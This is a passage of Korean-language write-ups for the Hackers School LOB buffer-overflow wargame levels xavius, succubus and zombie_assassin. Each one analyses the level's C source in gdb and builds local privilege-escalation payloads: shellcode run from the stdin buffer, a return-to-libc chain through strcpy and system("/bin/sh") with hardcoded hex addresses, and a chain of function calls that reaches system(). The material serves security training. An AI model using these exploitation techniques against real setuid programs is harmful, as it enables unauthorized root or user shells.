}
Colored by Color Scripter
cs

*(buffer+47) == '\x08'이면 "binary image retbayed you, too!!\n"를 출력하고 종료한다.

1
2
3
4
5
if(*(buffer+47) == '\x08')
{
    printf("binary image retbayed you, too!!\n");                                        
    exit(0);
}
Colored by Color Scripter
cs

buffer+44가 가리키는 곳부터 4 byte 만큼 &ret_addr에 저장한다.

1
memcpy(&ret_addr, buffer+44, 4);                                                    
cs

memcpy 함수

void *memcpy(void *destination, const void *source, size_t num);

source가 가리키는 곳부터 num byte 만큼 destination이 가리키는 곳으로 복사한다.

return 값은 destination의 포인터를 return 한다.

"\x90\x90"을 ret_addr에 2 byte 씩 저장한다.

만일 *ret_addr == '\xc9'이고, *(ret_addr+1) == '\xc3'이면

"You cannot use library function!\n"을 출력하고 종료한다.

ret_addr++

1
2
3
4
5
6
7
8
9
10
while(memcmp(ret_addr, "\x90\x90", 2) != 0)            // end point of function        
{
    if(*ret_addr == '\xc9' ){                        // leave
            if(*(ret_addr+1) == '\xc3'){            // ret
                printf("You cannot use library function!\n");
                exit(0);    
        }
    }
    ret_addr++;
}
Colored by Color Scripter
cs

buffer를 0으로 초기화하고, buffer+48~0xbfffffff까지 stack 영역을 0으로 초기화한다.

1
2
3
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));                                
cs

buffer의 스텍 윗 부분을 40 byte를 제외하고 모두 0으로 초기화 한다.

1
2
3
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);                                                    
cs

xavius의 메모리 구조를 예상해보면 아래와 같다.

실제 변수가 할당될 때, gcc가 최적화를 위해 자동적으로 dummy를 생성할 수 있다.

gdb를 이용해 xavius를 분석해보자. xavius를 gdb로 실행하는 도중 permission denied가 발생하면 cp 명령을 이용하여 파일을 복사하면 된다. 현재 user의 권한으로 똑같은 파일을 가질 수 있기 때문이다.

위와 같이 xavius가 nightmare의 권한으로 복사된 것을 확인할 수 있다.

dummy가 생성되었는지 gdb를 통해 확인할 수 있다.

dummy가 추가적으로 생성되지 않고 정확히 44(0x2C) byte가 생성된 것을 확인할 수 잇다.

문제의 제한으로 인하여, stack 영역, library 영역, code 영역 모두 사용할 수 없다.

그렇다면 우리가 사용할 수 있는 공간은 어디일까??

소스코드를 잘 살펴보면 stdin을 이용하는 것을 확인할 수 있다.

stdin은 표준입력 파일 스트림으로, 우리가 입력한 문자열을 가지고 있는 버퍼이다.

그렇다면 이곳을 이용할 수 있지 않을까???

gdb를 통해 stdin의 주소를 찾아 분석해보자.

fgets(buffer, 256, stdin); 형식으로 사용했다.

즉, fgets를 호출하기전에 제일 먼저 push하는 값이 stdin의 주소이다.

stdin의 주소는 0x401068c0라는것을 알 수 있다.

더 자세히 알아보면 아래와 같다.

위와 같이 stdin(*0x8049a3c)가 가리키는 값도 확인 가능하다.

start of ptr = 0x40015000이다. start of ptr + 16(A*16) + 1(\n)를 통해 end of ptr을 유추할 수 있다.

end of ptr = 0x40015011이다.

stdin 구조체를 공부하고 조사해보면, stdin에서 실행이 가능하다.

따라서 우리의 payload는 stdin에서 실행하게 작성할 것이다.

nop(20) + shellcode(24) + ret(4) 로 구성된다.

다음과 같이 공격에 성공할 수 있다.

일반적으로 stdin(표준입력)이 EOF(End of File)을 돌려주기 때문에 단순 쉘 코드를 작성하면 쉘이 종료된다.

따라서 이러한 문제를 없에기 위해서 cat(표준출력)을 이용한다.

해커스쿨 LOB succubus 풀이, write-up

MarcoKhan — Fri, 12 Oct 2018 00:07:31 +0900

succubus --- here to stay

문제 풀기 전에 아래의 명령어를 반드시 쳐야한다.

$export SHELL=/bin/bash2

$/bin/bash2

우선 succubus의 디렉터리를 확인한다.

nightmare라는 의심스러운 파일이 존재한다.

nightmare는 nightmare의 권한을 가지고 있고, setuid가 걸려있는 파일이다.

nightmare.c를 가지고 nightmare elf 파일을 만들었을 가능성이 있기 때문에, succubus 파일을 본 뒤 어떤 취약점을 가지고 있는지 확인해보자.

지역 변수를 선언한다.

1
2
char buffer[40];                                                                        
char *addr;            
cs

인자가 없으면 "argv error\n'를 출력하고 종료한다.

1
2
3
4
if(argc < 2) {
    printf("argv error\n");                                                            
    exit(0);
}
Colored by Color Scripter
cs

strcpy의 주소를 addr에 대입한다.

argv[1]+44가 가리키는 데이터와 &addr이 가리키는 데이터 4byte가 같지 않으면 "You must fall in love with strcpy()\n")를 출력하고 종료한다.

1
2
3
4
5
6
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0) {
    printf("You must fall in love with strcpy()\n");                                
    exit(0);
}
Colored by Color Scripter
cs

argv[1]를 buffer에 복사하고 출력한다.

1
2
3
// overflow!
strcpy(buffer, argv[1]);                                                            
printf("%s\n", buffer);
cs

buffer+40+8 번지부터 4byte를 'a'로 set한다.

1
2
//dangerous waterfall
memset(buffer+40+8, 'a', 4);                                                        
cs

nightmare의 메모리 구조를 예상해보면 아래와 같다.

실제 변수가 할당될 때, gcc가 최적화를 위해 자동적으로 dummy를 생성할 수 있다.

gdb를 이용해 nightmare를 분석해보자. nightmare를 gdb로 실행하는 도중 permission denied가 발생하면 cp 명령을 이용하여 파일을 복사하면 된다. 현재 user의 권한으로 똑같은 파일을 가질 수 있기 때문이다.

위와 같이 nightmarecp가 succubus의 권한으로 복사된 것을 확인할 수 있다.

dummy가 생성되었는지 gdb를 통해 확인할 수 있다.

dummy가 추가적으로 생성되지 않고 정확히 44(0x2C) byte가 생성된 것을 확인할 수 있다.

strcpy() 함수에 대해 자세히 알아보는 것이 좋다.

strcpy()의 원형은 아래와 같다.

char *strcpy(char *Destination, char const *source);

우리가 주목할 점은 포인터를 이용하여 우리가 Destination에, 원하는 source를 작성 가능하다는 뜻이다.

"check address" 부분 때문에 반드시 main 함수의 RET는 strcpy가 된다.

따라서 strcpy의 RET 부분을 수정하고 싶지만, "// dangerous waterfall" 때문에 반드시 strcpy의 RET이 "AAAA"로 덮어쓰기 때문에, strcpy의 RET도 사용할 수 없다.

여기서 우리가 주목할 점은, strcpy를 통해서 source에 쉘코드를 삽입하고, Destination에 strcpy의 RET으로 설정하면 쉘코드가 strcpy의 RET으로 설정되어 strcpy가 끝난 뒤 쉘 코드를 실행할 것이다.

그림으로 나타내면 아래와 같이 나타낼 수 있다.

main 함수가 끝난 직후이다.

우리가 Destination의 주소를 buffer + 48, Source에 System("/bin/sh")를 넣으면 아래와 같이 나타낼 수 있다.

우리가 공격을 위해 필요한 것은 strcpy의 주소, RTL을 위한 system(), "/bin/sh"주소, buffer+48의 주소, buffer의 주소이다.

우선 RTL을 위한 system()의 주소와, "/bin/sh"의 주소가 필요하다.

공유라이브러리의 system() 함수의 주소는 gdb를 통해서 알 수 있다.

system() 함수 내부에 "/bin/sh"라는 문자열이 있다.

system() 함수 내부에 "/bin/sh"라는 문자열을 찾는 소스는 아래와 같다.

1
2
3
4
5
6
7
8
#include <stdio.h>
main()
{
        long shell = 0x40058ae0;
        while(memcmp((void*)shell, "/bin/sh", 8))                                    
                shell++;
        printf("%x\n", shell);
}
Colored by Color Scripter
cs

shell에 system 함수의 주소를 넣고, system 함수의 시작부터 "/bin/sh"의 문자열을 만날 때 까지 주소를 1씩 증가시켜 "/bin/sh"의 문자열을 찾는 소스이다.

"/bin/sh"의 문자열이 0x400fbff9에 위치한 것을 확인할 수 있다.

RTL을 통한 payload는 아래와 같다.

"\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"

strcpy()의 주소는 system()의 주소를 얻는 방법으로 구할 수 있다.

strcpy()의 주소는 0x08048410이다.

buffer의 주소는 아래와 같이 gdb를 통해 구할 수 있다.

buffer의 주소가 0xbffffa90인 것을 확인할 수 있다.

우리가 공격할 주소는 0xbffffa90 + 48(0x30)인 0xbffffac0이다.

payload를 작성하면 아래와 같이 짤 수 있다.

[system() 주소] + [dummy] +[/bin/sh] + "[dummy] + [strcpy의 plt] + [dummy] + [strcpy의 ret의 주소] + [buffer의 시작 주소]

"\xe0\x8a\x05\x40"+"AAAA" + "\xf9\xbf\x0f\x40"+ "A"*32 +"\x10\x84\x04\x08" +"AAAA"+"\x80\xfa\xff\xbf"+"\x50\xfa\xff\xbf"

공격을 하면 segmentation fault가 발생하며 core dump가 생길 것이다.

core dump를 분석해보면 아래와 같다.

우리가 strcpy로 덮어야할 주소는 0xbffffa80이다. 따라서 payload를 고쳐서 다시 공격을 진행하면 아래와 같을 것이다.

버퍼와 strcpy의 RET의 주소는 48(0x30) byte만큼 떨어져 있다.

성공!!!

해커스쿨 LOB zombie_assassin 풀이, write-up

MarcoKhan — Thu, 20 Sep 2018 13:43:27 +0900

zombie_assassin --- no place to hide

문제 풀기 전에 아래의 명령어를 반드시 쳐야한다.

$export SHELL=/bin/bash2

$/bin/bash2

우선 zombie_assassin의 디렉터리를 확인한다.

succubus라는 의심스러운 파일이 존재한다.

succubus는 succubus의 권한을 가지고 있고, setuid가 걸려있는 파일이다.

succubus.c를 가지고 succubus elf 파일을 만들었을 가능성이 있기 때문에, succubus 파일을 본 뒤 어떤 취약점을 가지고 있는지 확인해보자.

전역 변수를 선언한다.

1
int check = 0;                                                                        
cs

만일 check != 4이면, 종료한다. check == 4 이면 parameter를 이용해 system() 함수를 호출한다.

1
2
3
4
5
6
7
8
9
10
void M0(char *cmd)
{
    if(check != 4)
            exit(0);
 
    printf("welcome to the M0!\n");                                                    
 
    //olleh!
    system(cmd);
}
Colored by Color Scripter
cs

만일 check!=3이면 종료하고, check==3이면 "welcome to the YUT"을 출력하고 check=4를 한다.

1
2
3
4
5
6
7
8
void YUT(void)
{
    if(check != 3)
        exit(0);
 
    printf("welcome to the YUT!\n");                                                
    check = 4;
}
Colored by Color Scripter
cs

만일 check!=2이면 종료하고, check==2이면 "welcome to the GUL"을 출력하고 check=3를 한다.

1
2
3
4
5
6
7
8
void GUL(void)
{
    if(check != 2)
        exit(0);
 
    printf("welcome to the GUL!\n");                                                
    check = 3;
}
Colored by Color Scripter
cs

만일 check!=1이면 종료하고, check==1이면 "welcome to the GYE"을 출력하고 check=2를 한다.

1
2
3
4
5
6
7
8
void GYE(void)
{
    if(check != 1)
        exit(0);
 
    printf("welcome to the GYE!\n");                                                
    check = 2;
}
Colored by Color Scripter
cs

"welcome to the DO!\n"를 출력하고 check=1을 한다.

1
2
3
4
5
void DO(void)
{
    printf("welcome to the DO!\n");                                                
    check = 1;
}
Colored by Color Scripter
cs

main 함수의 지역 변수를 선언한다.

1
2
char buffer[40];                                                                    
char *addr;
cs

파라미터가 없으면 "argv error\n"를 출력하고 종료한다.

1
2
3
4
5
if(argc < 2)
{
    printf("argv error\n");                                                            
    exit(0);    
}
Colored by Color Scripter
cs

만일 첫 번째 parameter에 '\x40'이 있으면 "You can't use library\n"를 출력하고 종료한다.

1
2
3
4
5
if(strchr(argv[1], '\x40'))
{
    printf("You can't use library\n");                                                
    exit(0);
}
Colored by Color Scripter
cs

main의 EIP는 반드시 DO의 주소로 가야한다. 만일 main의 EIP가 &DO와 같지 않다면 "You must fall in love with DO\n"를 출력하고 종료한다.

1
2
3
4
5
6
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0)
{
    printf("You must fall in love with DO\n");                                        
    exit(0);
}
Colored by Color Scripter
cs

첫 번째 인자를 buffer에 복사하고 출력한다.

1
2
strcpy(buffer, argv[1]);                                                            
printf("%s\n", buffer);
cs

첫 번째 파라미터가 저장될 공간을 제외한 모든 스택영역을 0으로 초기화한다.

1
2
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100);                            
cs

buffer 이전의 메모리도 0으로 초기화한다.

1
memset(buffer-3000, 0, 3000-40);                                                    
cs

succubus의 메모리 구조를 예상해보면 아래와 같다.

실제 변수가 할당될 때, gcc가 최적화를 위해 자동적으로 dummy를 생성할 수 있다.

gdb를 이용해 succubus를 분석해보자. succubus를 gdb로 실행하는 도중 permission denied가 발생하면 cp 명령을 이용하여 파일을 복사하면 된다. 현재 user의 권한으로 똑같은 파일을 가질 수 있기 때문이다.

위와 같이 succubuscp가 zombie_assassin의 권한으로 복사된 것을 확인할 수 있다.

dummy가 생성되었는지 gdb를 통해 확인해보자.

dummy가 추가적으로 생성되지 않고 정확히 44(0x2C) byte가 생성된 것을 확인할 수 있다.

우리가 사용할 수 있는 공간은 main RET이 스택에 저장된 곳부터 100byte를 사용할 수 있고,

함수는 다음과 같은 순서대로 실행되어야한다.

main -> DO -> GYE -> GUL -> YUT -> MO 순서로 실행되고, MO의 parameter로 "/bin/sh"가 전달되어야 한다.

우리가 진행해야 할 과정을 간략하게 나타내면 아래와 같이 나타낼 수 있다.

이렇게 연속된 함수 호출과정에서는 프롤로그와 에필로그를 이해하는 것이 매우 중요하다.

프롤로그

push ebp

mov esp, ebp

에필로그

leave

ret

에필로그의 leave 명령어는 아래와 같다.

leave

mov ebp, esp

pop ebp

에필로그의 ret 명령어는 아래와 같다.

ret

pop eip

jmp eip

main 함수에서 DO 함수로 분기를 할 때, main의 에필로그를 통해 ebp에 0x00000000이 들어있다.

DO함수의 에필로그를 만나 ebp가 다시 push 되고 pop 되는 행위를 반복하므로 payload에서 SFP에 대한 코드는 필요없다.

각 함수 DO, GYE, GUL, YUT, MO의 주소는 gdb를 통해 알 수 있다.

각 함수의 주소를 모두 알았다. MO 함수에서 system 함수를 호출하는데 system 함수의 인자로 MO 함수의 parameter가 전달된다.

parameter를 전달하기 위해 공간을 찾아보았지만, 가능한 경우는 첫 번째 인자를 통해 전달하는 방법만 존재한다.

다음과 같은 payload로 공격하며 될 것이다.

"/bin/sh"가 어느 주소에 위치해 있는지 확인하기 위해 gdb를 통해 확인해보자.

"/bin/sh"가 위치해 있는 주소는 0xbffffa78 번지이다. 따라서 "BBBB"를 &"/bin/sh"로 바꾸어 실행하면 공격에 성공할 것이다.

보정 작업을 통해 공격에 성공할 수 있다.